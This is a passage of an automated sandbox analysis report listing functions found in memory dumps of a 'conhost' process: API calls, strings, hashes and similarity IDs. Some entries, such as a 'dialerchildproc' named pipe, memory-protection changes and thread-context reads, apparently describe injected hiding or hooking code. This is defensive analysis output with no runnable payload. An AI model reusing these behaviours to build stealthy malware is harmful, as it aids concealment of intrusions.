HeapFree.KERNEL32 ref: 00000146F6B0309A

Strings

\GPU user(*)\Running Time, xrefs: 00000146F6B03048

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: d1dd2e42791b8172372fe0b9377aa6de00e96a97b64d439719e9479396d9999c
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: 5231C532624A41A6F720CF32B9183D9A7A0F78AB99F4411259ECD43634EF38C86B8741

Function 00000146F6B030BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000146F6B0311A
GetProcessHeap.KERNEL32 ref: 00000146F6B0312B
HeapAlloc.KERNEL32 ref: 00000146F6B03139
PdhGetCounterInfoW.PDH ref: 00000146F6B0314F
StrCmpW.SHLWAPI ref: 00000146F6B03164

Part of subcall function 00000146F6B03554: StrCmpNW.SHLWAPI ref: 00000146F6B03576
Part of subcall function 00000146F6B03554: StrStrW.SHLWAPI ref: 00000146F6B03594
Part of subcall function 00000146F6B03554: StrToIntW.SHLWAPI ref: 00000146F6B035BB

GetProcessHeap.KERNEL32 ref: 00000146F6B03191
HeapFree.KERNEL32 ref: 00000146F6B0319F

Strings

\GPU user(*)\Utilization Percentage, xrefs: 00000146F6B0315D

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: 5d585a5be9bd6591385c2d8f199e697f28966a6c7565dba158640fd11488ed6b
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: D231B131620B52A6F750CF36B96879967A1B78AF89F0451259ECE43734EF38C86B8701

Function 00000146F6AD9D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000146F6AD9DD1

Part of subcall function 00000146F6ADAC44: __GetUnwindTryBlock.LIBCMT ref: 00000146F6ADAC87
Part of subcall function 00000146F6ADAC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000146F6ADACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000146F6AD9EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000146F6ADA0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000146F6ADA20A

Strings

csm, xrefs: 00000146F6AD9ECC
csm, xrefs: 00000146F6AD9E52
csm, xrefs: 00000146F6AD9DEB

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: b7b21a3e1c8c9095850f66e4770d4b6db26ab3a11c71386284aafb31d2ab64c0
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: B0E18B32600B408AEB209F75E4603DD37A2F756B9CF000515EF8D57BAADB34D9AAC702

Function 00000146F6B0A974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000146F6B0A9D1

Part of subcall function 00000146F6B0B844: __GetUnwindTryBlock.LIBCMT ref: 00000146F6B0B887
Part of subcall function 00000146F6B0B844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000146F6B0B8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000146F6B0AAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000146F6B0ACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000146F6B0AE0A

Strings

csm, xrefs: 00000146F6B0A9EB
csm, xrefs: 00000146F6B0AACC
csm, xrefs: 00000146F6B0AA52

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: aa89d55c4accde8dcb13383cf65ae189225e251a83136f86e660f75fcebd07b9
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: 97E18F336247409AEB209F35E6503DD3BA4F74678CF106515EE8D57BA6CB34C9AAC702

Function 00000146F6B0F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000146F6B0F940
GetProcAddress.KERNEL32 ref: 00000146F6B0F94C

Strings

ext-ms-, xrefs: 00000146F6B0F89D
api-ms-, xrefs: 00000146F6B0F88A

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: d0bc01c74f2d989dfef83e7198bd61e7a7bc153f5fbff263e1150fdea8a5f6f1
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 0C41F531335600A1EA16CB36B9247D52795FB07BE8F0461259D8D877A5EF38CC6F9302

Function 00000146F6B0104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000146F6B010B1
RegEnumValueW.ADVAPI32 ref: 00000146F6B01117
GetProcessHeap.KERNEL32 ref: 00000146F6B0115A
HeapAlloc.KERNEL32 ref: 00000146F6B01168
GetProcessHeap.KERNEL32 ref: 00000146F6B01185
HeapFree.KERNEL32 ref: 00000146F6B01193

Strings

d, xrefs: 00000146F6B010D6

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: bb40d6e8abd852c02028c367b13bf66891fa8df69d9935733b62ef76eea8e135
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 37417033224B80D6E764CF71F45439EB7A1F38AB98F449129DA8907768DF38C95ACB01

Function 00000146F6B0D498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000146F6B0CC0E,?,?,?,?,?,?,?,?,00000146F6B0D3CD,?,?,00000001), ref: 00000146F6B0D4B7
FlsSetValue.KERNEL32(?,?,?,00000146F6B0CC0E,?,?,?,?,?,?,?,?,00000146F6B0D3CD,?,?,00000001), ref: 00000146F6B0D4D6
FlsSetValue.KERNEL32(?,?,?,00000146F6B0CC0E,?,?,?,?,?,?,?,?,00000146F6B0D3CD,?,?,00000001), ref: 00000146F6B0D4FE
FlsSetValue.KERNEL32(?,?,?,00000146F6B0CC0E,?,?,?,?,?,?,?,?,00000146F6B0D3CD,?,?,00000001), ref: 00000146F6B0D50F
FlsSetValue.KERNEL32(?,?,?,00000146F6B0CC0E,?,?,?,?,?,?,?,?,00000146F6B0D3CD,?,?,00000001), ref: 00000146F6B0D520

Strings

1%, xrefs: 00000146F6B0D4FE
Y%, xrefs: 00000146F6B0D4D6

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 996b77c17395a368196e081deda9aed75172daacf5eb11d28d564de47ab90674
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 8511843032528061F954973577713E92A55AB463FCF546324ADBD476F6DE28CC3B4603

Function 00000146F6B02334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000146F6B02349
GetCurrentProcessId.KERNEL32 ref: 00000146F6B02353
CreateFileW.KERNEL32 ref: 00000146F6B02384
WriteFile.KERNEL32 ref: 00000146F6B023AC
ReadFile.KERNEL32 ref: 00000146F6B023CB
CloseHandle.KERNEL32 ref: 00000146F6B023D4

Strings

\\.\pipe\dialerchildproc, xrefs: 00000146F6B02365

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: c739c30fb000fc6dd566936c7c7f766d6cb00d8a7846c1e69a9a2f7feea44fdc
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 1E114C36624B4092E710CB21F55839A6761F38ABE9F504315EA9E02AA8DF7CC95ACB01

Function 00000146F6B07940 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000146F6B07968
__scrt_acquire_startup_lock.LIBCMT ref: 00000146F6B079BA
_RTC_Initialize.LIBCMT ref: 00000146F6B079E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000146F6B07A0E
__scrt_release_startup_lock.LIBCMT ref: 00000146F6B07A39

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: c9af687361b548b4eaad491780747cf4b424ea6640cf1b26922da5b166fab028
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 3081D530630645A6FA609B35B6713D9AB90A78778CF1460359ACD437B6EB38CD7F8702

Function 00000146F6B0A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000146F6B0A3B3,?,?,?,00000146F6B09B9C,?,?,?,?,00000146F6B096BD), ref: 00000146F6B0A279
GetLastError.KERNEL32(?,?,?,00000146F6B0A3B3,?,?,?,00000146F6B09B9C,?,?,?,?,00000146F6B096BD), ref: 00000146F6B0A287
LoadLibraryExW.KERNEL32(?,?,?,00000146F6B0A3B3,?,?,?,00000146F6B09B9C,?,?,?,?,00000146F6B096BD), ref: 00000146F6B0A2B1
FreeLibrary.KERNEL32(?,?,?,00000146F6B0A3B3,?,?,?,00000146F6B09B9C,?,?,?,?,00000146F6B096BD), ref: 00000146F6B0A2F7
GetProcAddress.KERNEL32(?,?,?,00000146F6B0A3B3,?,?,?,00000146F6B09B9C,?,?,?,?,00000146F6B096BD), ref: 00000146F6B0A303

Strings

api-ms-, xrefs: 00000146F6B0A299

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: e8590d6370aed672462225ae75ee81d13489462e3fa84f208a3495374f322124
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 5A31EC32332640F1EE11DB62B9207D52794B70AB68F591935DD9D073B2EF39C96E8302

Function 00000146F6B141E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000146F6B14215
GetLastError.KERNEL32 ref: 00000146F6B14221
CloseHandle.KERNEL32 ref: 00000146F6B14239
CreateFileW.KERNEL32 ref: 00000146F6B14264
WriteConsoleW.KERNEL32 ref: 00000146F6B14283

Strings

CONOUT$, xrefs: 00000146F6B14245

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: f255b35c95f65c42c6c118fa18959e8d254f17920125addcdd67c98ef20f9961
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 28118231330B4086E7909B62F86435967A4F78AFE8F144215EE9E877B4DF38CD6A8741

Function 00000146F6B03BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C5A

Strings

wr, xrefs: 00000146F6B03C2F

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: bb6b63479a83c3cb886e696d7843b8539dd86a6c1a7bade689098b6db90d1d6e
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: 3811CE36320B4192EB248B35F0682A96B61F74AB88F050028DECD03764EF3DCA9AC705

Function 00000146F6B05F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000146F6B05F9B
GetThreadContext.KERNEL32 ref: 00000146F6B06105

Part of subcall function 00000146F6B05D90: GetCurrentThreadId.KERNEL32 ref: 00000146F6B05D94

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 17dc336b67dc88dd0e9cd652521074ffabe4c6f28488ce67a9d1747b74518cf5
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: 5FD1BD36218B8891DB70DB16F5A039A7BA0F389B88F101116EACD47B75DF3CC956DB01

Function 00000146F6B031CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000146F6B022ED), ref: 00000146F6B031EF
HeapAlloc.KERNEL32(?,?,?,?,?,00000146F6B022ED), ref: 00000146F6B03202
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000146F6B022ED), ref: 00000146F6B03277
GetProcessHeap.KERNEL32(?,?,?,?,?,00000146F6B022ED), ref: 00000146F6B032DD
HeapFree.KERNEL32(?,?,?,?,?,00000146F6B022ED), ref: 00000146F6B032EB

Strings

dialer, xrefs: 00000146F6B03270

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: 4081b65b10aa6e46d4b730783630a2825f9a0444fb3fc99b7a4f1a32f8f281f7
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: D831C431721B52A2E754DF76F6683A96B90FB56B88F0850248ECC07B65EF34C87B8341

Function 00000146F6B0D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D3DF
FlsSetValue.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D415
FlsSetValue.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D442
FlsSetValue.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D453
FlsSetValue.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D464
SetLastError.KERNEL32(?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0D47F

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: be8241214ecff8eae14612cf04ba84dc73276e59e1bf47fe6f9e81eaa164a6dd
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: CC11633032528061F954973177753ED2A916B4A7FCF146724ADBE476F6DA289C3B8203

Function 00000146F6B01934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000146F6B0195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000146F6B01978
PathFindFileNameW.SHLWAPI ref: 00000146F6B01987
lstrlenW.KERNEL32 ref: 00000146F6B01993
StrCpyW.SHLWAPI ref: 00000146F6B019A6
CloseHandle.KERNEL32 ref: 00000146F6B019B4

Memory Dump Source

